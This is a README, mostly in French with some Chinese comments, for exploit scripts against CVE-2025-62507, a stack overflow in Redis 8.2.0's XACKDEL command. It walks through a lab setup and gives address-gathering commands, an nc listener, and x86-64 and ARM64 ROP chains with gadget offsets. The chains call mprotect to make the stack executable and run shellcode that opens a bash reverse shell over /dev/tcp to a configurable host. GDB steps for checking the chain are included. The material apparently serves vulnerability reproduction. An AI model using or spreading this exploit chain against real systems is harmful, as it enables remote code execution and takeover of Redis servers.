Scripts d'exploitation — CVE-2025-62507
Structure du répertoire
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 调试辅助脚本
Résumé de la vulnérabilité
| Élément | Description |
|---|
| CVE | CVE-2025-62507 |
| Type de vulnérabilité | Dépassement de tampon de pile (Stack Buffer Overflow) |
| Composant affecté | Fonction xackdelCommand de Redis 8.2.0 |
| Méthode de déclenchement | Commande XACKDEL avec plus de 52 streamID |
| Technique d'exploitation | Chaîne ROP → mprotect déverrouille la permission d'exécution de la pile → shellcode reverse shell |
| Dépendances | Python 3 (bibliothèque standard uniquement, aucune installation supplémentaire nécessaire) |
Prérequis
- Environnement cible : conteneur Docker ou hôte exécutant Redis 8.2.0 (version vulnérable)
- Terminal d'écoute : la machine attaquante doit lancer
nc -lvnp 4444 à l'avance pour attendre le reverse shell
- Permission d'obtention d'adresses : nécessite de pouvoir lire
/proc/<PID>/maps du processus cible (privilèges root)
- Python 3 : les deux scripts d'exploit utilisent uniquement la bibliothèque standard (
socket, struct, time, sys)
Démarrage rapide
1. Lancer le conteneur Redis vulnérable
# Dans le répertoire racine du projet
docker compose -f docker-compose-vulnerable.yml up -d
# Vérifier que le conteneur tourne
docker ps | grep redis-cve-2025-62507
2. Obtenir les adresses mémoire critiques
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Obtenir les adresses x86-64
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Remarque : Les adresses changent à chaque redémarrage du conteneur (ASLR), il faut les ré-obtenir.
3. Lancer l'écoute du reverse shell
# Ouvrir un autre terminal sur l'hôte
nc -lvnp 4444
4. Exécuter l'exploit
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (adresses fixes Docker QEMU, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — Exploit ROP x86-64
Utilisation
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
Description des paramètres
Architecture de la chaîne ROP
52 个填充 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
Décalages des gadgets (redis-server-8.2.0)
Adresse personnalisée du reverse shell
La variable reverse_shell_cmd est définie à la ligne 149 du script, la valeur par défaut est :
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Méthode de modification : éditez exploit_x86.py, trouvez la ligne reverse_shell_cmd et remplacez l'IP et le port :
Modification du port : remplacez 4444 dans /dev/tcp/<IP>/4444 par le port d'écoute réel.
stack_page est calculée dynamiquement à partir du paramètre stack_addr : (stack_addr + 0x1000) & ~0xFFF, garantissant que la fenêtre mprotect couvre la zone de pile où se trouve le shellcode. Si la disposition de la pile est anormale, ajustez en conséquence.
exploit_arm64.py — Exploit ROP ARM64
Utilisation
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
Description des paramètres
Attention ARM64 : stack_addr est la valeur SP à l'entrée de xackdelCommand (pas l'adresse de début de la section [stack] !). static_ids[0] = stack_addr - 0x310, le x30 sauvegardé de call() se trouve à stack_addr + 8 (soit static_ids[49].seq).
Architecture de la chaîne ROP
49 个填充 ID (1-1)
│
▼
ID#49-58 call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 局部变量 (设为 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Clé : L'épilogue de call() restaure x19-x28 et lit plusieurs variables locales depuis la pile avant ret. Les ID#49-58 doivent contenir des valeurs sûres, sinon l'épilogue plantera pendant l'exécution. La chaîne ROP commence à partir de ID#59 (position SP après le ret de call()).
Décalages des gadgets (redis-server-8.2.0-arm64)
Décalages des gadgets (libc.so.6-arm64, dans le conteneur Docker)
Remarque : LDR_X1_SIDELOAD a un effet secondaire mov x0, x1 ; après exécution, x0 sera écrasé par x1 ! Utilisez ensuite G5 ou LDR_X0_CLEAN pour redéfinir x0.
Adresse personnalisée du reverse shell
reverse_shell_cmd est construite dynamiquement dans la fonction build_exploit_arm64() à partir des paramètres rev_shell_host et rev_shell_port :
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
Méthode recommandée : spécifiez l'adresse du reverse shell via les paramètres de ligne de commande :
# Par défaut : 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# Adresse et port personnalisés du reverse shell :
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
Modification directe : éditez exploit_arm64.py et modifiez les valeurs par défaut des paramètres de la fonction exploit() :
Débogage GDB
Utilisation de gdb_with_symbols.sh
# Obtenir le PID de Redis
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Lancer GDB et définir automatiquement les points d'arrêt
./scripts/gdb_with_symbols.sh $REDIS_PID
Le script effectue automatiquement :
- Charge la table des symboles de
binaries/redis-server-8.2.0
- Place un point d'arrêt sur
xackdelCommand
- Place un point d'arrêt sur
mprotect
- Place un point d'arrêt sur
system
Positions clés des points d'arrêt
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand
# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)
# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect
# system 调用前 — 验证 rdi 指向命令字符串
break system
Vérification des étapes clés de l'exploit
# 1. 进入 xackdelCommand 后，找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. mprotect 断点触发时，验证参数
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. mprotect 返回后，检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. 观察 shellcode 执行
(gdb) x/20i $rsp # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30 # ARM64: 跳转前的返回地址
Dépannage
Nettoyage de l'environnement
# Arrêter et supprimer le conteneur
docker compose -f docker-compose-vulnerable.yml down
Références des fichiers
gartonchan/redis-cve-2025-62507
